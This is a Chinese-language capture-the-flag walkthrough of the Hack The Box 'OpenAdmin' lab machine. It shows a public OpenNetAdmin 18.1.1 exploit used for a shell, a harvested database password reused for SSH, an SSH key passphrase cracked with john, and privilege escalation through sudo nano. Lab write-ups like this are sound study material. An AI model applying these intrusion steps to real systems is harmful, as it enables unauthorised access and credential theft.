HTB::OpenAdmin

实验环境

渗透过程

0x01 信息搜集

sudo nmap -sS -p1-10000 -sV -sC -T4 10.10.10.171

开放了22(SSH)端口和80(HTTP)端口

访问80端口，发现是apache的默认页面：

使用DIrBuster进行目录扫描：

扫到了两个目录/music、/ona。

访问http://10.10.10.171/music/，发现是一个普通的web服务页面。

访问http://10.10.10.171/ona/，发现是OpenNetAdmin的后台页面。

值得关注的信息是：OpenNetAdmin Version = v18.1.1

查找可以利用的漏洞：

0x02 开干

GetShell

发现Metasploit中有可利用的破解工具，尝试进行利用：

发现提示利用成功，但没有建立会话。

尝试使用sh文件，运行命令searchsploit -m 47691将该sh文件下载到当前目录，运行

由于这个shell可能是在win下编写的，所以换行格式与Linux不同，运行后无法解析，使用命令dos2unix ./47961.sh 把文件转成unix下可执行文件就可以正常运行。

脚本反弹了shell。

这里也可以上传一句话木马，使用蚁剑进行连接，获得shell。

user.txt

经过测试发现，当前用户是www-data，不能执行cd命令离开当前目录。

nmap结果可以看到靶机还开放了22端口，所以要找到可以登录ssh的用户以及密码。

查看该主机上的用户：

或者：

获得用户jimmy，joanna

继续查找信息：

$ find / -name config		// 查找相关配置文件
[OUTPUT]:
/opt/ona/www/config
/opt/ona/www/local/config
/var/www/html/marga/.git/config
/snap/core/7270/etc/kbd/config
/snap/core/7270/usr/lib/initramfs-tools/etc/dhcp/dhclient-enter-hooks.d/config

查看相关配置文件：

$ ls local/config
database_settings.inc.php
motd.txt.example
run_installer

查看database_settings.inc.php

$ cat local/config/database_settings.inc.php
[OUTPUT]:
<?php
$ona_contexts=array (
  'DEFAULT' =>
  array (
    'databases' =>
    array (
      0 =>
      array (
        'db_type' => 'mysqli',
        'db_host' => 'localhost',
        'db_login' => 'ona_sys',
        'db_passwd' => 'n1nj4W4rri0R!',
        'db_database' => 'ona_default',
        'db_debug' => false,
      ),
    ),
    'description' => 'Default data context',
    'context_color' => '#D3DBFF',
  ),
);

获得数据库密码，使用该密码登陆ssh。

登陆成功

查看jimmy可以访问的目录：find / -type d -user jimmy

/var/www/internal
/home/jimmy
/home/jimmy/.local
/home/jimmy/.local/share
/home/jimmy/.local/share/nano
/home/jimmy/.cache
/home/jimmy/.gnupg
/home/jimmy/.gnupg/private-keys-v1.d

查看相关信息

jimmy@openadmin:~$ ls /var/www/internal
index.php  logout.php  main.php

分析index.php代码。

<?php
    $msg = '';
	if (isset($_POST['login']) && !empty($_POST['username']) && !empty($_POST['password'])) {
    if ($_POST['username'] == 'jimmy' && hash('sha512',$_POST['password']) == '00e302ccdcf1c60b8ad50ea50cf72b939705f49f40f0dc658801b4680b7d758eebdc2e9f9ba8ba3ef8a8bb9a796d34ba2e856838ee9bdde852b8ec3b3a0523b1') {
        $_SESSION['username'] = 'jimmy';
        header("Location: /main.php");
    } else {
        $msg = 'Wrong username or password.';
    }
}
?>

代码显示如果username和passwd都正确，则会跳转到main.php页面。

分析main.php代码

<?php
    session_start();
	if (!isset ($_SESSION['username'])) { header("Location: /index.php"); };
# Open Admin Trusted
# OpenAdmin
	$output = shell_exec('cat /home/joanna/.ssh/id_rsa');
	echo "<pre>$output</pre>";
?>

mian.php文件提示通过登录认证jimmy用户就会输出另一个用户joanna的rsa密钥，现在我们需要知道，这个服务运行在哪个端口上。

现在的问题就是如何Post这个url。直接在浏览器肯定不行，因为默认的路由就是 ona，肯定只能在这个SSH内部，结合这个目录名字internal。但最早我们扫端口只有80和22，接着我们再看一下jimmy用户本地启动的服务，3306不用说了，那大概率就是那个52846。

进行访问得到rsa密钥：

顺便找到了配置文件：

jimmy@openadmin:~$ cat /etc/apache2/sites-available/internal.conf
Listen 127.0.0.1:52846

<VirtualHost 127.0.0.1:52846>
    ServerName internal.openadmin.htb
    DocumentRoot /var/www/internal

<IfModule mpm_itk_module>
AssignUserID joanna joanna		// 只允许joanna用户有权限权限执行php文件
</IfModule>

    ErrorLog ${APACHE_LOG_DIR}/error.log
    CustomLog ${APACHE_LOG_DIR}/access.log combined

</VirtualHost>

浏览器打开访问提示连接失败。

ssh_key到手，直接连接jimmy这个账号之前我们还需要知道这个私钥的密码，使用john爆破。

第一步，将私钥复制到Kali本地。

第二步，利用 john 自带脚本转换格式为json

python /usr/share/john/ssh2john.py rsa > rsajson

ssh2john.py 的作用就是把 ssh 密钥 改成 john 可以识别的格式

第三步，使用 john 爆破

➜  Desktop sudo john --wordlist=/usr/share/wordlists/rockyou.txt sshjohn
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
bloodninjas      (rsa)
Warning: Only 2 candidates left, minimum 4 needed for performance.
1g 0:00:00:11 DONE (2020-04-02 09:24) 0.08532g/s 1223Kp/s 1223Kc/s 1223KC/sa6_123..*7¡Vamos!
Session completed

密码为 bloodninjas

经尝试这个密码并不是joanna的ssh连接密码，而是利用密钥连接ssh时对私钥的验证密码。之后连接到joanna的ssh

提示权限错误，经过查阅资料，这里只要将密钥的权限改为600即可

得到user.txt

root.txt

joanna@openadmin:~$ sudo -l
Matching Defaults entries for joanna on openadmin:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User joanna may run the following commands on openadmin:
    (ALL) NOPASSWD: /bin/nano /opt/priv

sudo -l命令显示用户Joanna可以无需密码使用nano去编辑/opt/priv这个文件。

直接sudo nano /opt/priv进入编辑器，Ctrl+R读取文件，输入文件路径即可查看所有root权限文件。

得到root.txt